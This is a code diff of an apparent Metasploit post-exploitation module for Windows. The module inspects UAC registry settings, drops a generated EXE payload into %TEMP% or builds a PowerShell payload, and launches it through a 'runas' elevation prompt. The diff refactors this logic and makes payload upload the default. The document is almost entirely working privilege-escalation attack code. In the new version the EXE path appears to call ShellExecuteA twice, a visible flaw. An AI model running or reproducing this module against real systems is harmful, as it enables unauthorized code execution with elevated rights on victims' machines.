@@ -42,14 +42,13 @@ def initialize(info={})
42
42
register_options ( [
43
43
OptString . new ( "FILENAME" , [ false , "File name on disk" ] ) ,
44
44
OptString . new ( "PATH" , [ false , "Location on disk %TEMP% used if not set" ] ) ,
45
- OptBool . new ( "UPLOAD" , [ true , "Should the payload be uploaded?" , false ] ) ,
45
+ OptBool . new ( "UPLOAD" , [ true , "Should the payload be uploaded?" , true ] ) ,
46
46
OptEnum . new ( "TECHNIQUE" , [ true , "Technique to use" , 'EXE' , [ 'PSH' , 'EXE' ] ] ) ,
47
47
] )
48
48
49
49
end
50
50
51
51
def exploit
52
-
53
52
root_key , base_key = session . sys . registry . splitkey ( "HKLM\\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Policies\\ System" )
54
53
open_key = session . sys . registry . open_key ( root_key , base_key )
55
54
lua_setting = open_key . query_value ( 'EnableLUA' )
@@ -63,56 +62,38 @@ def exploit
63
62
uac_level = open_key . query_value ( 'ConsentPromptBehaviorAdmin' )
64
63
65
64
case uac_level . data
66
- when 2
67
- print_status "UAC is set to 'Always Notify'"
68
- print_status "The user will be prompted, wait for them to click 'Ok'"
69
- when 5
70
- print_debug "UAC is set to Default"
71
- print_debug "The user will be prompted, wait for them to click 'Ok'"
72
- when 0
73
- print_good "UAC is not enabled, no prompt for the user"
65
+ when 2
66
+ print_status "UAC is set to 'Always Notify'"
67
+ print_status "The user will be prompted, wait for them to click 'Ok'"
68
+ when 5
69
+ print_debug "UAC is set to Default"
70
+ print_debug "The user will be prompted, wait for them to click 'Ok'"
71
+ when 0
72
+ print_good "UAC is not enabled, no prompt for the user"
74
73
end
75
74
76
-
77
75
#
78
76
# Generate payload and random names for upload
79
77
#
80
-
81
- if datastore [ "TECHNIQUE" ] == "EXE"
82
- if datastore [ "UPLOAD" ]
83
- exe_payload = generate_exe_payload_exe
84
-
85
- if datastore [ "FILENAME" ]
86
- payload_filename = datastore [ "FILENAME" ]
87
- else
88
- payload_filename = Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".exe"
89
- end
90
-
91
- if datastore [ "PATH" ]
92
- payload_path = datastore [ "PATH" ]
93
- else
94
- payload_path = session . fs . file . expand_path ( "%TEMP%" )
95
- end
96
-
78
+ case datastore [ "TECHNIQUE" ]
79
+ when "EXE"
80
+ exe_payload = generate_payload_exe
81
+ payload_filename = datastore [ "FILENAME" ] || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".exe"
82
+ payload_path = datastore [ "PATH" ] || expand_path ( "%TEMP%" )
97
83
cmd_location = "#{ payload_path } \\ #{ payload_filename } "
98
-
99
84
if datastore [ "UPLOAD" ]
100
85
print_status ( "Uploading #{ payload_filename } - #{ exe_payload . length } bytes to the filesystem..." )
101
- fd = session . fs . file . new ( cmd_location , "wb" )
102
- fd . write ( exe_payload )
103
- fd . close
86
+ write_file ( cmd_location , exe_payload )
87
+ else
88
+ #print_error("No Upload Path!")
89
+ fail_with ( Exploit ::Failure ::BadConfig , "No Upload Path!" )
90
+ return
104
91
end
105
-
106
- session . railgun . shell32 . ShellExecuteA ( nil , "runas" , cmd_location , nil , nil , 5 )
107
- else
108
- print_error ( "No Upload Path!" )
109
- return
110
- end
111
- else
112
- command = cmd_psh_payload ( payload . encoded )
113
- arguments = command . gsub ( "%COMSPEC% /B /C start powershell.exe " , "" )
114
- session . railgun . shell32 . ShellExecuteA ( nil , "runas" , "powershell.exe" , "#{ arguments } " , nil , 5 )
92
+ command , args = cmd_location , nil
93
+ session . railgun . shell32 . ShellExecuteA ( nil , "runas" , command , args , nil , 5 )
94
+ when "PSH"
95
+ command , args = "cmd.exe" , " /c #{ cmd_psh_payload ( payload . encoded ) } "
115
96
end
97
+ session . railgun . shell32 . ShellExecuteA ( nil , "runas" , command , args , nil , 5 )
116
98
end
117
- end
118
-
99
+ end
0 commit comments